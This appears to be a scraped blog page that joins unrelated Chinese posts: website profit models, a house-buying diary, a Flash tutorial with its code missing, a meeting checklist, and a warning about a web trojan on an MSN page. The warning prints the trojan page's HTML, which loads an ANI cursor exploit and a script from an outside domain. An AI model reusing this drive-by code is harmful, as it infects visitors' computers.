　　5.1、精辟至一句话阐述网站的盈利模式及网站的终极目标；5.2、列出围绕盈利模式产生的盈利点，把您能想到的盈利点都全部列出，并结合资源特点、目标受众群分析、网站定位等内容，逐一筛选，产生短期盈利点与可增长性盈利点，让您对网站的经营有宏观性把握；现在网站盈利模式产生同质化特点，请思考自己的市场是否能够通过这些同质化的盈利模式产生收入，有没有新的盈利点可以挖掘！在B2B方面行业内出现了许多与传统资源结合的盈利点，值得我们学习，例如：网下网上撮合贸易结合，提取销售佣金的模式；围绕企业外销或内销产生的收取翻译费等增值性收入模式等等。

　　6、网站的投资收益计划是？

　　6.1总体的投资收益计划：这是您是否做网站经营的关键，没有哪个老板在不清楚钱投入何处，能在多长时间产生多大的投资回报的情况下，去盲目投资！因此，请根据短期与长期的盈利点，计算投资与回报比率。

　　6.2运营第一年的运营投资计划：事实证明，网站运营商第一年是最关键的一年，这一年是否能够摸清路，对未来的经营有关键性的影响。请详细列出第一年的运营计划，包括：投资额、可能产生收入的项目额、人员、资金、市场规模、网站排名目标、网站品牌影响力…等等。

　　6.3运营第一季度的运作计划：这是网站运作的第一步，这三个月运作得当，完全可以使品牌开始走向正轨，如果运作不得当，就会浪费至少两个月的时间，这是检验您思路是否清晰的关键指标，如果您有担忧，可以找专业互联网顾问公司协助。

　　7、商业计划书有准备吗？

　　其实写商业计划书的目的在乎于运营者本身，如果您想做大投资，写一份优秀的商业计划书非常有必要，大投资产生的是高风险，不得有闪失；如果您缺资金，而认为自己的构想足以做一番大事业，现在就动手写一份具有说服力的商业计划书，以便于您拉风险投资；但是更多的人会选择自己先做，然后以后再写商业计划书，此时，我们依然建议您必须得写，我们下载一份《商业计划书模板》就会发现，它实际上在帮助我们整理自己的思路，这是千万人的经验智慧的结晶，我们借鉴并完善之后，会让我们对自己的事业头脑更清晰，操作起来更贴近市场，成功机率都会随之提升。

　　8、坚持与努力是成功的关键！

　　创业的过程很艰辛，如果您的模式可行，还能够支持运作，千万不要放弃。许多市场都是需要经历培育，现在环境差不代表未来环境就不行，这就需要我们坚信自己的信念，在保证自己短期能运转的情况下，坚持到最后，或许你就是笑到最后的一个。

　　网站是如何盈利的？有多少种好的盈利方式？如果我想运营一个网站怎样如何寻找盈利点？我适合做哪一种网站？相信这样的问题是众多网站运营者或对网站运营感兴趣的朋友所关注的，下面就我所了解到的一些盈利方式做一下简单的介绍，希望对您能有点滴的启发与帮助。

盈利模式一：在线广告

　　最主要最常见的网络在线盈利模式，国内做的较好的是新浪(www.sina.com.cn)、搜狐(www.sohu.com)、网易(www.163.com)等门户网站(包括行业门户)。大多个人网站的盈利模式也是采用这种方式，靠挂别人的广告生存。

　　新兴的在线短视频网站，通过影音载入前后的等待时间播放广告主的在线广告。典型例子:

　　国外的youtube(www.youtube.com)

　　国内的56(www.56.com)、土豆(www.toodou.com)、六间房(www.6rooms.com)等

盈利模式二：彩铃彩信下载、短信发送、电子杂志订阅等电信增值形式

　　最赚钱的网络盈利模式之一，几乎每个进入全球排名前10万位的商业性网站和个人网站都在通过sp来获取经济回报，目前由于sp受到中国移动等运营商的限制，盈利率有些下降，以此类引力模式为主的上市公司市值较以前有缩水。典型例子:

　　空中网(www.kong.net)

　　3G门户(www.3g.net.cn)

网站盈利模式三：通过网站销售产品

　　A.通过网站销售别人的产品(C2C 和 B2C模式)

　　典型例子:　　

　　淘宝(www.taobao.com)、易趣(www.ebay.com.cn) C2C在线竞拍，从成功交易中抽取佣金。

　　卓越(www.joyo.com)、当当(www.dangdang.com )、鲜花网 B2C通常的B2C网上零售大概有两种操作方法，一种是您自己经销的产品，通过互联网销售；另一种则是建立一个网上零售的平台，让更多的商家通过此平台销售他们的产品。

　　豆瓣网(www.douban.com)营造社区，推荐销售抽取佣金。

　　B.通过网站销售自己的产品(含B2C模式)

　　大多数外贸网站和国内中小企业网站，多不胜举

盈利模式四：注册会员收费，提供与免费会员差异化的服务

　　典型例子:

　　阿里巴巴(www.cn.alibaba.com ) 中国B2B网站典范。

　　中国化工网(www.chemnet.com.cn) 中国化工行业门户

　　另外还有一些人才网站、电子图书、交友网站、在线电影等许多的关键信息也都是仅仅面向收费用户的……

盈利模式五：网络游戏运营，虚拟装备和道具买卖

　　典型例子:

　　网易游戏( www.163.com )

　　盛大游戏(www.poptang.com www.shanda.com.cn)

　　九城游戏(www.the9.com www.ninetowns.com)

　　及其游戏地方代理运营商。

盈利模式六：搜索竞排、产品招商、分类网址和信息整合，付费推荐和抽成盈利

　　典型例子：

　　百度(www.baidu.com)

　　中国商机在线 (www.28.com)

　　Hao123(www.hao123.com)

　　请客800(www.qingke800.com)

　　威克平台K68 (www.k68.cn)

盈利模式七：广告中介

　　广告联盟网站通过给为广告主和站长服务，差价销售广告，获得利润。

　　典型例子：

　　弈天广告联盟(www.unionsky.cn )

　　Iplus广告联盟(www.iplus.com.cn)

　　好耶广告联盟(www.allyes.com )

　　窄告网(www.narrowad.com)

盈利模式八：企业信息化服务

　　A .帮助企业建设维护推广网站

　　中企动力(www.ce.net.cn)

　　铭万(www.mainone.com )B2B+建站

　　书生(www.booksir.com ) 一站式服务，从代理销售网络实名起家。

　　B.代理销售大公司的网络产品

　　几乎每个网络公司都在做，不再举例。

　　C.网络基础服务提供

　　万网(www.net.cn)

　　新网(www.xinnet.com )

　　很多规模较小的公司也在做域名注册，服务器托管的生意，收入比较稳定。

　　D.网络营销策划和搜索引擎优化的专业顾问公司

　　通王科技 (www.tongwang.com )

　　新竞争力 (www.jingzhengli.cn)

盈利模式九：web2.0网站被巨头收购

　　web2.0类的网站一般都是用户制造内容，有了社区活跃度，自然会吸引VC的眼光，最终的归属应该是被Google、Yahoo、微软等巨头收购了。

盈利模式十：骗人的把戏

　　以上九点基本都是正规的网站赚钱门道，但这第十条就是非法的了。什么solo一族，在家办公，轻松点击就可以赚钱等等，靠吸收下线的方式骗钱也算是当前网赚的一种方式吧。当然，所谓能赚钱也只能是傻子骗傻子的钱而已了。

　　盈利模式没有固定的，只有成功和不成功之分。现实网络中存在各种各样的盈利模式以及若干中盈利模式的组合。总结起来，网站的盈利其实无非是，卖产品或者卖服务或者两者结合，区别是可能是卖别人的也可能是卖自己的。

今天升级live messager发现多了writer mail等新功能，于是下下来试用一下。

这是添加链接 我的站点

这是插入图片

这是插入表格

这是插入地图(插入地图失败)

插入标签

插入视频

需要找视频链接，至少不支持flv视频链接。

昨天买了房，奥林匹克花园三期B1型房。

和老婆一起交了两个人的购房意向金，老婆的排在57号，我的排到没有机会的352号。

拿到57号心想总应该可以拿到自己中意的楼层了，准备是要5，6两楼的房子，这样算来有8套可选，没想到B1型热销，结果等到我们只有3楼和靠边的4楼，最后就选了3楼了，也还算满意吧。

下面是全天的流水帐：

6.00 起床

6.40出门

7.15赶上奥园班车

7.45到奥园销售中心

8.00进选号大厅

9.00开始选号

10.30开始1-5号购楼

14.30左右轮到57号进入候选

15.00左右轮到我们选房（轮到100多号的朋友半夜快24点的时候打电话来说买了顶楼13楼，那排到200号的该是熬通宵了？），选中房子签合同。

15.30办按揭贷款

16.00结束按揭贷款，结束购房流程。

16.10到东北水饺要了东北拉皮和6两饺子（早上吃了片面包，中间到超市买了包软糖，饼干，奥园提供水，喝了三瓶水，太饿了。。。）

17.00上班车回家

18.00到家

很累啊，但总算买完了，57谐音运气，57号=运气好，算完成了件大事吧。

无意间点开msn中文网站-电视频道（http://tv.msn.com.cn/），瑞星马上提示了多个窗口，发现病毒，如下图

打开页面查看源代码发现了一行明显的ani漏洞网页木马程序，如下图

打开http://www.69642.cn/wm/18.htm 【没杀毒软件的别点这个地址进！】这个网址查看源码如下：

<HTML>
<BODY style='CURSOR: url(http://www.69642.cn/wm/z2.jpg)'></BODY>
</HTML>
<script src=http://www.69642.cn/wm/0614.js></script>
<script language="javascript" src="http://ww4.tongji123.com/t1.aspx?id=43559969"></script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1023960.js"></script>

 典型的网马页面。

大家上网一定要小心，平时做好防毒措施。

原地址：http://publish.it168.com/2005/1019/20051019066501.shtml

这个教程是Flash与麦克风的互动。希望通过学习这个麦克风互动的教程，使您来获得更好的启发。

　　首先看这个例子，点击Allow[允许]，并用麦克风发出声音

　　效果如下:

　　OK，下面我们来一步步的实现上面这个FLASH的功能：

　　1．打开Flash并新建一个300*200的场景

　　2．用工具栏中的画圆工具在场景中画一个适中的圆形

　　3．将这个圆形转化为元件，并设置为电影夹子——选择刚才所画的圆形，点击F8键或者点击[修改][Modify]-[转化为元件][Convert to Symbol]，在对话框中选择[电影夹子][Movie Clip]，点击[确定][ok]

　　4．完成上一步后，我们在场景中点击这个元件，在属性面板中的[Instance Name]中输入Circle

　　5．现在我们可以在时间轴的第一桢写入我们的ActionScript命令——点击时间轴面板中的第一桢，点击F9或者[窗口][Window]-[动作][ Development Panels-Action],将下面的程序输入动作面板当中：

　　6．完成上面的步骤，你就可以在你的网页中预览了——[文件]-[发布预览]-[HTML]。 下面我们来为你解释每一行代码的意义：

　　让Flash程序与麦克风输入的信号建立连接

　　这行命令将Audio连接在_root上，这样每一个物件都能与'm'来建立沟通

　　防止回音的影响

　　这段代码的作用是用声音来控制我们所设置图形的大小，activityLevel是通过声音的输入来返回一个在0-100之间数值。 OK，这个教程就到此为止了，大家自己可以多加实践，也许会有意想不到的效果!

如果以下超过3个的回答是是的话，那么工作会议的质量就需要主管去考虑了，长期下去必将损害士气、决策质量。

是否有人没有发言？
是否出现了20%的人发言超过了80%的情况？
是否有这种情况：本次议定的题目，而在会中说下次再说吧？
是否发言需要主管点名？
会议没有引导者？ l 发言是对人而不是对事？
主管是威胁多于鼓励？
是否有人有话但没有说